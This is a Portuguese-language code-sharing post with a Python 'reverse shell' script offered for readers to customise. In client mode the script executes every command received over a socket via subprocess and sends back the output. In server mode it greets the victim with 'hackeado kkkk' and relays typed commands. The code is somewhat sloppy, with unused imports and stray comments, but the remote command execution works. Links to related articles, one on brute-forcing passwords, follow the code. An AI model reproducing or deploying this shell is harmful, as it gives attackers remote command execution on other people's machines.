Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.242 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3
import socket
import sys
import subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui
buffer = 4096
# display screen resolution, get it from your OS settings
# define the codec
# create the video write object
if len(sys.argv) < 2:
sys.exit
quit()
if sys.argv[1] == '-h':
print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
sys.exit()
quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
s = socket.socket()
if a in 'Ss':
s.bind((host,port))
s.listen(5)
print(f'listndo {host}:{port}')
client_socket, client_adress = s.accept()
message = 'hackeado kkkk'.encode()
client_socket.send(message)
while True:
command = input('comando: ')
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close
if a in 'cC':
s.connect((host, port))
message = s.recv(buffer).decode()
print('server: ', message)
# start sending the file
while True:
# receive the command from the server
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
if s.close:
print('-'*20, 'fim', '-'*18)
Peer-to-peer nós para processamento em multipontos
auth_ig.py: Script para autenticação do IG
Aplicação gráfica para Wake-on-LAN com Python 3 + GUI Tk/Tcl
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Ativando e usando "zoom" no ambiente Cinnamon
Vídeo Nostálgico de Instalação do Conectiva Linux 9
Como realizar um ataque de força bruta para desobrir senhas?
VOL já não é mais como antes? (25)
780 mil usuários do Janelas baIxaram Linux em um mês (1)









